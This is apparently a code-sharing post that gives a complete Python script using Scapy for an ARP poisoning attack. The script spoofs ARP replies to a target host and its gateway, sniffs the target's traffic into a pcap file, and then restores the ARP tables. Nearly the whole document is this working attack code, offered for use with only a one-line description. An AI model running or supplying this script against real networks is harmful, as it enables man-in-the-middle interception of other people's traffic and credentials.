This code implements an ARP poisoning using the Scapy library
Code:
#!/usr/bin/env python
# Code By E1.Coders
from scapy.all import *
import os
import sys
import threading
import signal
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
print("[*] Restoring target...")
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)
os.kill(os.getpid(), signal.SIGINT)
def get_mac(ip_address):
responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)
for s,r in responses:
return r[Ether].src
return None
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst= target_mac
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst= gateway_mac
print("[*] Beginning the ARP poison. [CTRL-C to stop]")
while True:
try:
send(poison_target)
send(poison_gateway)
time.sleep(2)
except KeyboardInterrupt:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
print("[*] ARP poison attack finished.")
return
if __name__ == '__main__':
interface = "eth0"
target_ip = "192.168.1.100"
gateway_ip = "192.168.1.1"
packet_count = 1000
conf.iface = interface
conf.verb = 0
print("[*] Setting up %s" % interface)
gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
print("[!!!] Failed to get gateway MAC. Exiting.")
sys.exit(0)
else:
print("[*] Gateway %s is at %s" % (gateway_ip,gateway_mac))
target_mac = get_mac(target_ip)
if target_mac is None:
print("[!!!] Failed to get target MAC. Exiting.")
sys.exit(0)
else:
print("[*] Target %s is at %s" % (target_ip,target_mac))
poison_thread = threading.Thread(target = poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()
try:
print("[*] Starting sniffer for %d packets" % packet_count)
bpf_filter = "ip host %s" % target_ip
packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)
wrpcap('arper.pcap',packets)
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
except KeyboardInterrupt:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)